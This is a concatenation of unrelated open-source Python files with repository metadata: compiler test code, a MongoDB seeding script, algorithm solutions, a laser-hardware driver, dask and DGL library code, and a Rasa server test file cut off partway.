x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz2(self:"bar5", xx: [int], xx2: [int]) -> str: global count x:int = 0 x2:int = 0 y:int = 1 y2:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz3(self:"bar5", xx: [int], xx2: [int], xx3: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 y:int = 1 y2:int = 1 y3:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz4(self:"bar5", xx: [int], xx2: [int], xx3: [int], xx4: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 x4:int = 0 y:int = 1 y2:int = 1 y3:int = 1 y4:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 def qux4(y: int, y2: int, y3: int, y4: int) -> object: nonlocal x nonlocal x2 nonlocal x3 nonlocal x4 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" def baz5(self:"bar5", xx: [int], xx2: [int], xx3: [int], xx4: [int], xx5: [int]) -> str: global count x:int = 0 x2:int = 0 x3:int = 0 x4:int = 0 x5:int = 0 y:int = 1 y2:int = 1 y3:int = 1 y4:int = 1 y5:int = 1 def qux(y: int) -> object: nonlocal x if x > y: x = -1 def qux2(y: int, y2: int) -> object: nonlocal x nonlocal x2 if x > y: x = -1 def qux3(y: int, y2: int, y3: int) -> object: nonlocal x nonlocal x2 nonlocal x3 if x > y: x = -1 def qux4(y: int, y2: int, y3: int, y4: int) -> object: nonlocal x nonlocal x2 nonlocal x3 nonlocal x4 if x > y: x = -1 def qux5(y: int, y2: int, y3: int, y4: int, y5: int) -> object: nonlocal x nonlocal x2 nonlocal x3 nonlocal x4 nonlocal x5 if x > y: x = -1 for x in xx: self.p = x == 2 qux(0) # Yay! ChocoPy count = count + 1 while x <= 0: if self.p: xx[0] = xx[1] self.p = not self.p x = x + 1 elif foo("Long"[0]) == 1: self.p = self is None return "Nope" print(bar().baz([1,2]))
f7b39d51deee02aba20f484a17ca18c9719fd1b2
a2f6e449e6ec6bf54dda5e4bef82ba75e7af262c
/venv/Lib/site-packages/pandas/tests/generic/test_frame.py
334651eb42df4f06b3c9078bb7055ef7355b38f6
[]
no_license
mylonabusiness28/Final-Year-Project-
e4b79ccce6c19a371cac63c7a4ff431d6e26e38f
68455795be7902b4032ee1f145258232212cc639
refs/heads/main
2023-07-08T21:43:49.300370
2021-06-05T12:34:16
2021-06-05T12:34:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
129
py
version https://git-lfs.github.com/spec/v1 oid sha256:c2f9e8ecaccad5fbdf2183633d20185b2b53f18c7eca55721455ca2366e3ce31 size 7441
2209465c41bec4b36500babebeff0c642f924940
b0f0bd131bbfc287f2d8393fcf6aaabd99b17e05
/db_create.py
5f7295adc0feb3e6fe82b6a31f45750f7ee23f24
[]
no_license
jreiher2003/casino
b19380364d57fba7bc3a772a19cf8caa8b55585c
bd6b12740c84c82dd5589a9aa414d6053c997739
refs/heads/master
2021-01-11T14:50:29.024326
2017-02-12T12:33:08
2017-02-12T12:33:08
80,230,542
1
0
null
null
null
null
UTF-8
Python
false
false
1,523
py
import pymongo from pymongo import MongoClient from datetime import datetime conn = MongoClient("mongodb://finn:finn7797@localhost:27017/casino") db = conn.casino.test_col # blog_record = {} blog_record = { "author": "erlichson", "body": "This is a test body", "comments": [ { "body":"this is a comment", "email": "[email protected]", "author": "Jeff Reiher 1" }, { "body":"This is another comment", "email":"[email protected]", "author":"Finn Gotti" } ], "date": datetime.utcnow(), "permalink": "This_is_a_test_Post", "tags": ["cycling", "mongodb", "swimming"], "title": "This is a test Post" } # blog_record2 = {} blog_record2 = { "author": "mcnuts", "body": "This is body of second record", "comments": [ { "body":"this is a comment record 2", "email": "[email protected]", "author": "Jeff Reiher 2" }, { "body":"This is another comment 2", "email":"[email protected]", "author":"Gotti record 2" } ], "date": datetime.utcnow(), "permalink": "This_is_a_test_Post_record_2", "tags": ["howbahdaw", "bitchassness", "fucking"], "title": "This is a test Post Record 2" } db.insert(blog_record) db.insert(blog_record2) conn.close()
617fb94131635549bc2bcc55ed6c5531eed3c24c
94e6b634335d310daed51687ccb6206ce10c7807
/permutation_sequence.py
b6216a32418a1b28690a18106e2cf89712e5dfaa
[ "MIT" ]
permissive
lutianming/leetcode
4fdbdd852353e1682794ee4b2557389810f07293
848c7470ff5fd23608cc954be23732f60488ed8a
refs/heads/master
2021-01-19T11:45:25.352432
2015-07-26T11:57:21
2015-07-26T11:57:21
18,801,366
0
0
null
null
null
null
UTF-8
Python
false
false
581
py
class Solution: # @return a string def getPermutation(self, n, k): num = 1 for i in range(n): num *= (i+1) if k < 1 or k > num: return None k = k-1 seq = [i+1 for i in range(n)] permutation = '' subk = 1 for i in range(n, 0, -1): for j in range(1, i): subk *= j index = k / subk k = k % subk subk = 1 permutation += str(seq.pop(index)) return permutation s = Solution() print(s.getPermutation(1, 1))
5ac3f83fe5ba0066a76f4ced6242806d952e696c
ddf002d1084d5c63842a6f42471f890a449966ee
/basics/Python/PYTHON --------/oops/aaaa.py
8fccdfcb19262491e0eb8104cd18e8fae6d1bba7
[]
no_license
RaghavJindal2000/Python
0ab3f198cbc5559bdf46ac259c7136356f7f09aa
8e5c646585cff28ba3ad9bd6c384bcb5537d671a
refs/heads/master
2023-01-01T23:56:02.073029
2020-10-18T19:30:01
2020-10-18T19:30:01
263,262,452
0
0
null
null
null
null
UTF-8
Python
false
false
132
py
class Sample: def __init__(self,x): self.x = x def __add__(self,other): print(self.x*other.x) a=Sample(5) b=Sample(10) a+b
e659c649568c307b7c87fdc07812a8ce61a9f74f
f9ff85c981942d15c65d37de107e0c5fa5e6a2ba
/pychron/hardware/fusions/fusions_logic_board.py
20aec5ae329998db4a7d549961fe38af8c00c444
[ "Apache-2.0" ]
permissive
kenlchen/pychron
0c729f1b1973b9883734007b7a318fe21669e6c1
ffd988e27ae09fb3e8a8790d87ff611557911d07
refs/heads/master
2021-01-24T21:53:42.293554
2016-04-04T07:18:39
2016-04-04T07:18:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,123
py
# =============================================================================== # Copyright 2011 Jake Ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # =============================================================================== from pychron.hardware.kerr.kerr_manager import KerrManager from pychron.hardware.meter_calibration import MeterCalibration ''' Fusions Control board a combination of the logic board and the kerr microcontroller see Photon Machines Logic Board Command Set for additional information ''' # =============enthought library imports======================= from traits.api import Instance, Str, Float, List, Event # from traitsui.api import Item, VGroup, RangeEditor from traitsui.api import Item, ListEditor, Group # =============standard library imports ======================== import os # =============local library imports ========================== from pychron.globals import globalv # from fusions_motor_configurer import FusionsMotorConfigurer from pychron.hardware.core.core_device import CoreDevice from pychron.hardware.kerr.kerr_microcontroller import KerrMicrocontroller class FusionsLogicBoard(CoreDevice): """ """ refresh_canvas = Event motor_microcontroller = Instance(KerrMicrocontroller) # beam_motor = Instance(KerrMotor, ()) # beam = DelegatesTo('beam_motor', prefix='data_position') # beammin = DelegatesTo('beam_motor', prefix='min') # beammax = DelegatesTo('beam_motor', prefix='max') # beam_enabled = DelegatesTo('beam_motor', prefix='enabled') # update_beam = DelegatesTo('beam_motor', prefix='update_position') # # zoom_motor = Instance(KerrMotor, ()) # zoom = DelegatesTo('zoom_motor', prefix='data_position') # zoommin = DelegatesTo('zoom_motor', prefix='min') # zoommax = DelegatesTo('zoom_motor', prefix='max') # zoom_enabled = DelegatesTo('zoom_motor', prefix='enabled') # update_zoom = DelegatesTo('zoom_motor', prefix='update_position') # configure = Button prefix = Str scan_func = 'read_power_meter' internal_meter_response = Float motors = List _test_comms = True has_pointer = True def initialize(self, *args, **kw): """ """ # disable laser # test communciations with board issue warning if # no handle or response is none resp = True if self._test_comms: resp = True if self.ask(';LB.VER') else False # resp = self._disable_laser_() if self.communicator.handle is None or resp is not True: for m in self.motors: m.set_homing_required(True) if not globalv.ignore_initialization_warnings: result = self.confirmation_dialog('Laser not connected. To reconnect select "Yes", ' 'power cycle USB hub, and restart program.' '\nYes=Quit Pychron.\nNo=Continue', title='Quit Pychron') if result: os._exit(0) # turn off pointer if self.has_pointer: self.set_pointer_onoff(False) # initialize Kerr devices self.motor_microcontroller.initialize(*args, **kw) for m in self.motors: if m.use_initialize: m.initialize(*args, **kw) m.on_trait_change(lambda: self.trait_set(refresh_canvas=True), 'data_position') m.set_homing_required(False) return True def _build_command(self, *args): """ """ if self.prefix is not None: cmd = ' '.join(map(str, args)) return ''.join((self.prefix, cmd)) else: self.warning('Prefix not set') def load_additional_args(self, config): """ """ prefix = self.config_get(config, 'General', 'prefix') if prefix is not None: self.prefix = prefix for option in config.options('Motors'): v = config.get('Motors', option) self.add_motor(option, v) # if not self._get_watt_calibration(config): # return return True def open_motor_configure(self): mc = KerrManager(motor=self.get_motor('attenuator')) mc.edit_traits() def add_motor(self, name, path): p = os.path.join(self.configuration_dir_path, path) config = self.get_configuration(path=p, set_path=False) klassname = self.config_get(config, 'General', 'kind', default='', optional=True) m = self._motor_factory(name, klassname) m.load(p) # self.info('adding motor {} klass={}'.format(name, klassname if klassname else 'KerrMotor')) self.info('adding motor {} klass={}'.format(name, m.__class__.__name__)) self.motors.append(m) setattr(self, '{}_motor'.format(name), m) def get_motor(self, name): return next((m for m in self.motors if m.name == name), None) def _motor_factory(self, name, klassname): if klassname: n = '{}_motor'.format(klassname.lower()) else: n = 'motor' pkg = 'pychron.hardware.kerr.kerr_{}'.format(n) klass = 'Kerr{}Motor'.format(klassname) m = __import__(pkg, fromlist=[klass]) m = getattr(m, klass) return m(parent=self, name=name) # ============================================================================== # laser methods # ============================================================================== def check_interlocks(self, verbose=True): """ """ lock_bits = [] if verbose: self.info('checking interlocks') if not self.simulation: resp = self.repeat_command('INTLK', check_type=int, verbose=verbose) try: resp = int(resp) except (ValueError, TypeError): resp = None if resp is None: return ['Failed Response'] if resp != 0: LOCK_MAP = ['External', 'E-stop', 'Coolant Flow'] rbits = [] for i in range(16): if (resp >> i) & 1 == 1: rbits.append(i) lock_bits = [LOCK_MAP[cb] for cb in rbits] return lock_bits def _enable_laser(self, **kw): """ """ interlocks = self.check_interlocks() if not interlocks: resp = self.repeat_command('ENBL 1', check_val='OK') if resp == 'OK' or self.simulation: return True else: self._disable_laser() msg = 'Cannot fire. Interlocks enabled ' self.warning(msg) for i in interlocks: self.warning(i) return msg + ','.join(interlocks) def _disable_laser(self): """ """ ntries = 3 for i in range(ntries): resp = self.repeat_command('ENBL 0', check_val='OK') if resp is None: self.warning('LASER NOT DISABLED {}'.format(i + 1)) else: break if self.simulation: break else: return 'laser was not disabled' return True def set_laser_power(self, *args, **kw): """ """ pass def set_pointer_onoff(self, onoff): """ """ if onoff: cmd = 'DRV1 1' else: cmd = 'DRV1 0' cmd = self._build_command(cmd) self.ask(cmd) def _parse_response(self, resp): """ remove the CR at EOL """ if resp is not None: return resp.rstrip() def _motor_microcontroller_default(self): """ """ return KerrMicrocontroller(name='microcontroller', parent=self) # def _zoom_motor_default(self): # ''' # ''' # return KerrMotor(name='zoomrrrr', parent=self) # # def _beam_motor_default(self): # ''' # ''' # return KerrMotor(name='beameere', parent=self) # ============================================================================== # motor methods # ============================================================================== def set_motor(self, name, value, block=False, relative=False): motor = next((m for m in self.motors if m.name == name), None) if motor is None: return if motor.locked: self.debug('motor is locked not moving. locked == {}'.format(motor.locked)) return if relative: value = motor.data_position + value if not 0 <= value <= 100: return # self._enable_motor_(motor, value) self.info('setting {} to {}'.format(name, value)) return motor.set_value(value, block) def _block_(self, motor): """ """ self.info('waiting for move to complete') if not self.simulation: motor.block() self.info('move complete') def _enable_motor_(self, motor, pos): """ """ if motor.data_position != pos: motor.enabled = False def get_control_group(self): return Group( Item('motors', style='custom', # height= -100, editor=ListEditor( view='control_view', # mutable=False, # columns=max(1, int(round(len(self.motors) / 2.))), use_notebook=True, page_name='.name', style='custom', ), # editor=InstanceEditor(view='control_view')), show_label=False) ) ''' listeditor multi column ''' # def get_control_group(self): # return Group(Item('motors', style='custom', # height= -100, # editor=ListEditor(mutable=False, # columns=max(1, int(round(len(self.motors) / 2.))), # style='custom', # editor=InstanceEditor(view='control_view')), # # show_label=False), # ) # be = RangeEditor(low_name='beammin', # high_name='beammax' # ) # ube = RangeEditor(low_name='beammin', # high_name='beammax', # enabled=False # ) # zo = RangeEditor(low_name='zoommin', # high_name='zoommax' # ) # uzo = RangeEditor(low_name='zoommin', # high_name='zoommax', # enabled=False # ) # return VGroup( # Item('zoom', editor=zo), # Item('update_zoom', editor=uzo, show_label=False), # Item('beam', editor=be), # Item('update_beam', editor=ube, show_label=False), # ) # ================== EOF ================================================
b7d6112a988c2054ed227e17d4af0f39335b9cfb
d2fe0e203df127f0a823ca5f1cc2a50c3ae7451e
/dask_image/ndfilters/_gaussian.py
675334d6f433a149add1adf587a7fc70f257133e
[ "BSD-3-Clause" ]
permissive
awesome-archive/dask-image
78e8f1666d59293dc69fb34afbda23de2c3822fb
21047b4d7e882441754b94894013cb3ec9b5b396
refs/heads/master
2021-06-19T01:39:04.882036
2019-02-14T17:06:30
2019-02-14T17:06:30
170,795,341
0
0
BSD-3-Clause
2020-01-13T04:40:59
2019-02-15T03:20:12
Python
UTF-8
Python
false
false
3,181
py
# -*- coding: utf-8 -*- import numbers import numpy import scipy.ndimage.filters from . import _utils def _get_sigmas(input, sigma): ndim = input.ndim nsigmas = numpy.array(sigma) if nsigmas.ndim == 0: nsigmas = numpy.array(ndim * [nsigmas[()]]) if nsigmas.ndim != 1: raise RuntimeError( "Must have a single sigma or a single sequence." ) if ndim != len(nsigmas): raise RuntimeError( "Must have an equal number of sigmas to input dimensions." ) if not issubclass(nsigmas.dtype.type, numbers.Real): raise TypeError("Must have real sigmas.") nsigmas = tuple(nsigmas) return nsigmas def _get_border(input, sigma, truncate): sigma = numpy.array(_get_sigmas(input, sigma)) if not isinstance(truncate, numbers.Real): raise TypeError("Must have a real truncate value.") half_shape = tuple(numpy.ceil(sigma * truncate).astype(int)) return half_shape @_utils._update_wrapper(scipy.ndimage.filters.gaussian_filter) def gaussian_filter(input, sigma, order=0, mode='reflect', cval=0.0, truncate=4.0): sigma = _get_sigmas(input, sigma) depth = _get_border(input, sigma, truncate) depth, boundary = _utils._get_depth_boundary(input.ndim, depth, "none") result = input.map_overlap( scipy.ndimage.filters.gaussian_filter, depth=depth, boundary=boundary, dtype=input.dtype, sigma=sigma, order=order, mode=mode, cval=cval, truncate=truncate ) return result @_utils._update_wrapper(scipy.ndimage.filters.gaussian_gradient_magnitude) def gaussian_gradient_magnitude(input, sigma, mode='reflect', cval=0.0, truncate=4.0, **kwargs): sigma = _get_sigmas(input, sigma) depth = _get_border(input, sigma, truncate) depth, boundary = _utils._get_depth_boundary(input.ndim, depth, "none") result = input.map_overlap( scipy.ndimage.filters.gaussian_gradient_magnitude, depth=depth, boundary=boundary, dtype=input.dtype, sigma=sigma, mode=mode, cval=cval, truncate=truncate, **kwargs ) return result @_utils._update_wrapper(scipy.ndimage.filters.gaussian_laplace) def gaussian_laplace(input, sigma, mode='reflect', cval=0.0, truncate=4.0, **kwargs): sigma = _get_sigmas(input, sigma) depth = _get_border(input, sigma, truncate) depth, boundary = _utils._get_depth_boundary(input.ndim, depth, "none") result = input.map_overlap( scipy.ndimage.filters.gaussian_laplace, depth=depth, boundary=boundary, dtype=input.dtype, sigma=sigma, mode=mode, cval=cval, truncate=truncate, **kwargs ) return result
f4724ae50443e1ccbbe1fff7f928824f75702d3d
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02555/s538632738.py
23cc590fdcbf56a8cc888767b524fbc44b81c985
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
330
py
S = int(input()) mod = 10 ** 9 + 7 f = [1] for i in range(1,2000): f.append((f[-1] * i) % mod) def comb(n,r): return f[n] * (pow(f[r], mod-2, mod) * pow(f[n-r], mod-2, mod) % mod) % mod ans = 0 for i in range(1,700): s = S - (3 * i) if s < 0: break ans += comb(s+i-1, i-1) ans %= mod print(ans)
fbe0cb0284b16b5fffa9b4cb8e25af885f33bc29
98f1a0bfa5b20a0b81e9e555d76e706c62d949c9
/python/dgl/nn/tensorflow/conv/sageconv.py
d37bff20b2b56efd1bdc98450a987ef15892540b
[ "Apache-2.0" ]
permissive
dmlc/dgl
3a8fbca3a7f0e9adf6e69679ad62948df48dfc42
bbc8ff6261f2e0d2b5982e992b6fbe545e2a4aa1
refs/heads/master
2023-08-31T16:33:21.139163
2023-08-31T07:49:22
2023-08-31T07:49:22
130,375,797
12,631
3,482
Apache-2.0
2023-09-14T15:48:24
2018-04-20T14:49:09
Python
UTF-8
Python
false
false
8,389
py
"""Tensorflow Module for GraphSAGE layer""" # pylint: disable= no-member, arguments-differ, invalid-name import tensorflow as tf from tensorflow.keras import layers from .... import function as fn from ....base import DGLError from ....utils import check_eq_shape, expand_as_pair class SAGEConv(layers.Layer): r"""GraphSAGE layer from `Inductive Representation Learning on Large Graphs <https://arxiv.org/pdf/1706.02216.pdf>`__ .. math:: h_{\mathcal{N}(i)}^{(l+1)} &= \mathrm{aggregate} \left(\{h_{j}^{l}, \forall j \in \mathcal{N}(i) \}\right) h_{i}^{(l+1)} &= \sigma \left(W \cdot \mathrm{concat} (h_{i}^{l}, h_{\mathcal{N}(i)}^{l+1}) \right) h_{i}^{(l+1)} &= \mathrm{norm}(h_{i}^{(l+1)}) Parameters ---------- in_feats : int, or pair of ints Input feature size; i.e, the number of dimensions of :math:`h_i^{(l)}`. GATConv can be applied on homogeneous graph and unidirectional `bipartite graph <https://docs.dgl.ai/generated/dgl.bipartite.html?highlight=bipartite>`__. If the layer applies on a unidirectional bipartite graph, ``in_feats`` specifies the input feature size on both the source and destination nodes. If a scalar is given, the source and destination node feature size would take the same value. If aggregator type is ``gcn``, the feature size of source and destination nodes are required to be the same. out_feats : int Output feature size; i.e, the number of dimensions of :math:`h_i^{(l+1)}`. aggregator_type : str Aggregator type to use (``mean``, ``gcn``, ``pool``, ``lstm``). feat_drop : float Dropout rate on features, default: ``0``. bias : bool If True, adds a learnable bias to the output. Default: ``True``. norm : callable activation function/layer or None, optional If not None, applies normalization to the updated node features. activation : callable activation function/layer or None, optional If not None, applies an activation function to the updated node features. Default: ``None``. Examples -------- >>> import dgl >>> import numpy as np >>> import tensorflow as tf >>> from dgl.nn import SAGEConv >>> >>> # Case 1: Homogeneous graph >>> with tf.device("CPU:0"): >>> g = dgl.graph(([0,1,2,3,2,5], [1,2,3,4,0,3])) >>> g = dgl.add_self_loop(g) >>> feat = tf.ones((6, 10)) >>> conv = SAGEConv(10, 2, 'pool') >>> res = conv(g, feat) >>> res <tf.Tensor: shape=(6, 2), dtype=float32, numpy= array([[-3.6633523 , -0.90711546], [-3.6633523 , -0.90711546], [-3.6633523 , -0.90711546], [-3.6633523 , -0.90711546], [-3.6633523 , -0.90711546], [-3.6633523 , -0.90711546]], dtype=float32)> >>> # Case 2: Unidirectional bipartite graph >>> with tf.device("CPU:0"): >>> u = [0, 1, 0, 0, 1] >>> v = [0, 1, 2, 3, 2] >>> g = dgl.heterograph({('_N', '_E', '_N'):(u, v)}) >>> u_fea = tf.convert_to_tensor(np.random.rand(2, 5)) >>> v_fea = tf.convert_to_tensor(np.random.rand(4, 5)) >>> conv = SAGEConv((5, 10), 2, 'mean') >>> res = conv(g, (u_fea, v_fea)) >>> res <tf.Tensor: shape=(4, 2), dtype=float32, numpy= array([[-0.59453356, -0.4055441 ], [-0.47459763, -0.717764 ], [ 0.3221837 , -0.29876417], [-0.63356155, 0.09390211]], dtype=float32)> """ def __init__( self, in_feats, out_feats, aggregator_type, feat_drop=0.0, bias=True, norm=None, activation=None, ): super(SAGEConv, self).__init__() valid_aggre_types = {"mean", "gcn", "pool", "lstm"} if aggregator_type not in valid_aggre_types: raise DGLError( "Invalid aggregator_type. Must be one of {}. " "But got {!r} instead.".format( valid_aggre_types, aggregator_type ) ) self._in_src_feats, self._in_dst_feats = expand_as_pair(in_feats) self._out_feats = out_feats self._aggre_type = aggregator_type self.norm = norm self.feat_drop = layers.Dropout(feat_drop) self.activation = activation # aggregator type: mean/pool/lstm/gcn if aggregator_type == "pool": self.fc_pool = layers.Dense(self._in_src_feats) if aggregator_type == "lstm": self.lstm = layers.LSTM(units=self._in_src_feats) if aggregator_type != "gcn": self.fc_self = layers.Dense(out_feats, use_bias=bias) self.fc_neigh = layers.Dense(out_feats, use_bias=bias) def _lstm_reducer(self, nodes): """LSTM reducer NOTE(zihao): lstm reducer with default schedule (degree bucketing) is slow, we could accelerate this with degree padding in the future. """ m = nodes.mailbox["m"] # (B, L, D) rst = self.lstm(m) return {"neigh": rst} def call(self, graph, feat): r"""Compute GraphSAGE layer. Parameters ---------- graph : DGLGraph The graph. feat : tf.Tensor or pair of tf.Tensor If a tf.Tensor is given, it represents the input feature of shape :math:`(N, D_{in})` where :math:`D_{in}` is size of input feature, :math:`N` is the number of nodes. If a pair of tf.Tensor is given, the pair must contain two tensors of shape :math:`(N_{in}, D_{in_{src}})` and :math:`(N_{out}, D_{in_{dst}})`. Returns ------- tf.Tensor The output feature of shape :math:`(N, D_{out})` where :math:`D_{out}` is size of output feature. """ with graph.local_scope(): if isinstance(feat, tuple): feat_src = self.feat_drop(feat[0]) feat_dst = self.feat_drop(feat[1]) else: feat_src = feat_dst = self.feat_drop(feat) if graph.is_block: feat_dst = feat_src[: graph.number_of_dst_nodes()] h_self = feat_dst # Handle the case of graphs without edges if graph.num_edges() == 0: graph.dstdata["neigh"] = tf.cast( tf.zeros((graph.number_of_dst_nodes(), self._in_src_feats)), tf.float32, ) if self._aggre_type == "mean": graph.srcdata["h"] = feat_src graph.update_all(fn.copy_u("h", "m"), fn.mean("m", "neigh")) h_neigh = graph.dstdata["neigh"] elif self._aggre_type == "gcn": check_eq_shape(feat) graph.srcdata["h"] = feat_src graph.dstdata["h"] = feat_dst # same as above if homogeneous graph.update_all(fn.copy_u("h", "m"), fn.sum("m", "neigh")) # divide in_degrees degs = tf.cast(graph.in_degrees(), tf.float32) h_neigh = (graph.dstdata["neigh"] + graph.dstdata["h"]) / ( tf.expand_dims(degs, -1) + 1 ) elif self._aggre_type == "pool": graph.srcdata["h"] = tf.nn.relu(self.fc_pool(feat_src)) graph.update_all(fn.copy_u("h", "m"), fn.max("m", "neigh")) h_neigh = graph.dstdata["neigh"] elif self._aggre_type == "lstm": graph.srcdata["h"] = feat_src graph.update_all(fn.copy_u("h", "m"), self._lstm_reducer) h_neigh = graph.dstdata["neigh"] else: raise KeyError( "Aggregator type {} not recognized.".format( self._aggre_type ) ) # GraphSAGE GCN does not require fc_self. if self._aggre_type == "gcn": rst = self.fc_neigh(h_neigh) else: rst = self.fc_self(h_self) + self.fc_neigh(h_neigh) # activation if self.activation is not None: rst = self.activation(rst) # normalization if self.norm is not None: rst = self.norm(rst) return rst
dd13976ac5b9b1d7d3c91724bd781689aea63400
bd8532378ad2a61240faaa7be8ef44c60c055a2a
/rabona/data/leagues/Campeonato Scotiabank/San Luis/San Luis.py
bab8b8776851cf081d0374f9e793d0e82d7e98f0
[]
no_license
nosoyyo/rabona
278a9dfe158e342261343b211fb39b911e993803
b0af3ab5806675fbf81b038633a74943118a67bb
refs/heads/master
2020-03-16T06:56:55.277293
2018-05-30T11:45:51
2018-05-30T11:45:51
132,565,989
2
1
null
2018-05-30T11:45:52
2018-05-08T06:44:11
Python
UTF-8
Python
false
false
220
py
club_info = {'club_url': 'https://www.futbin.com///18/leagues/Campeonato%20Scotiabank?page=1&club=112668', 'club_logo': 'https://cdn.futbin.com/content/fifa18/img/clubs/112668.png', 'club_name': 'San Luis'} players = {}
f0a909ca5858215c7001a0ceeb0fc4ee93eddcb0
d66818f4b951943553826a5f64413e90120e1fae
/hackerearth/Math/Number Theory/Primality Tests/Does it divide/solution.py
28584b27d406a332fb41da73ba15b6bd2ef85ba0
[ "MIT" ]
permissive
HBinhCT/Q-project
0f80cd15c9945c43e2e17072416ddb6e4745e7fa
19923cbaa3c83c670527899ece5c3ad31bcebe65
refs/heads/master
2023-08-30T08:59:16.006567
2023-08-29T15:30:21
2023-08-29T15:30:21
247,630,603
8
1
MIT
2020-07-22T01:20:23
2020-03-16T06:48:02
Python
UTF-8
Python
false
false
438
py
def is_prime(x): if x <= 1: return False if x == 2 or x == 3: return True if x % 2 == 0 or x % 3 == 0: return False for i in range(5, int(x ** .5) + 1, 6): if x % i == 0 or x % (i + 2) == 0: return False return True t = int(input()) for _ in range(t): n = int(input()) if n == 1: print('YES') continue print('NO' if is_prime(n + 1) else 'YES')
bdd0376a1a5e1f7923757707b3f9c48f6dfa4c24
f2bad7b28fb4acade3785fc2040f8ec5e7e51022
/tests/test_server.py
e7ba16fad3e42d5fe8c0768657a1beeb6fd4fef3
[ "MIT", "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
xiaoyao1949/rasa_1.2.2
a3a5315579b7ae2178e08565a3388adaf99d6f1f
7638f13f50a881d4cf6ddb62246ab1db1491a846
refs/heads/master
2022-12-01T00:32:41.989135
2019-08-15T08:57:58
2019-08-15T08:57:58
202,452,126
4
2
Apache-2.0
2022-11-21T21:32:43
2019-08-15T01:29:52
Python
UTF-8
Python
false
false
24,926
py
# -*- coding: utf-8 -*- import os import tempfile import uuid from typing import List, Text, Type from aioresponses import aioresponses import pytest from freezegun import freeze_time from mock import MagicMock import rasa import rasa.constants from rasa.core import events, utils from rasa.core.channels import CollectingOutputChannel, RestInput, SlackInput from rasa.core.channels.slack import SlackBot from rasa.core.events import Event, UserUttered, SlotSet, BotUttered from rasa.core.trackers import DialogueStateTracker from rasa.model import unpack_model from rasa.utils.endpoints import EndpointConfig from sanic import Sanic from sanic.testing import SanicTestClient from tests.nlu.utilities import ResponseTest # a couple of event instances that we can use for testing test_events = [ Event.from_parameters( { "event": UserUttered.type_name, "text": "/goodbye", "parse_data": { "intent": {"confidence": 1.0, "name": "greet"}, "entities": [], }, } ), BotUttered("Welcome!", {"test": True}), SlotSet("cuisine", 34), SlotSet("cuisine", "34"), SlotSet("location", None), SlotSet("location", [34, "34", None]), ] @pytest.fixture def rasa_app_without_api(rasa_server_without_api: Sanic) -> SanicTestClient: return rasa_server_without_api.test_client @pytest.fixture def rasa_app(rasa_server: Sanic) -> SanicTestClient: return rasa_server.test_client @pytest.fixture def rasa_app_nlu(rasa_nlu_server: Sanic) -> SanicTestClient: return rasa_nlu_server.test_client @pytest.fixture def rasa_app_core(rasa_core_server: Sanic) -> SanicTestClient: return rasa_core_server.test_client @pytest.fixture def rasa_secured_app(rasa_server_secured: Sanic) -> SanicTestClient: return rasa_server_secured.test_client def test_root(rasa_app: SanicTestClient): _, response = rasa_app.get("/") assert response.status == 200 assert response.text.startswith("Hello from Rasa:") def test_root_without_enable_api(rasa_app_without_api: SanicTestClient): _, response = rasa_app_without_api.get("/") assert response.status == 200 assert response.text.startswith("Hello from Rasa:") def test_root_secured(rasa_secured_app: SanicTestClient): _, response = rasa_secured_app.get("/") assert response.status == 200 assert response.text.startswith("Hello from Rasa:") def test_version(rasa_app: SanicTestClient): _, response = rasa_app.get("/version") content = response.json assert response.status == 200 assert content.get("version") == rasa.__version__ assert ( content.get("minimum_compatible_version") == rasa.constants.MINIMUM_COMPATIBLE_VERSION ) def test_status(rasa_app: SanicTestClient): _, response = rasa_app.get("/status") assert response.status == 200 assert "fingerprint" in response.json assert "model_file" in response.json def test_status_secured(rasa_secured_app: SanicTestClient): _, response = rasa_secured_app.get("/status") assert response.status == 401 def test_status_not_ready_agent(rasa_app_nlu: SanicTestClient): _, response = rasa_app_nlu.get("/status") assert response.status == 409 @pytest.mark.parametrize( "response_test", [ ResponseTest( "/model/parse", { "entities": [], "intent": {"confidence": 1.0, "name": "greet"}, "text": "hello", }, payload={"text": "hello"}, ), ResponseTest( "/model/parse", { "entities": [], "intent": {"confidence": 1.0, "name": "greet"}, "text": "hello", }, 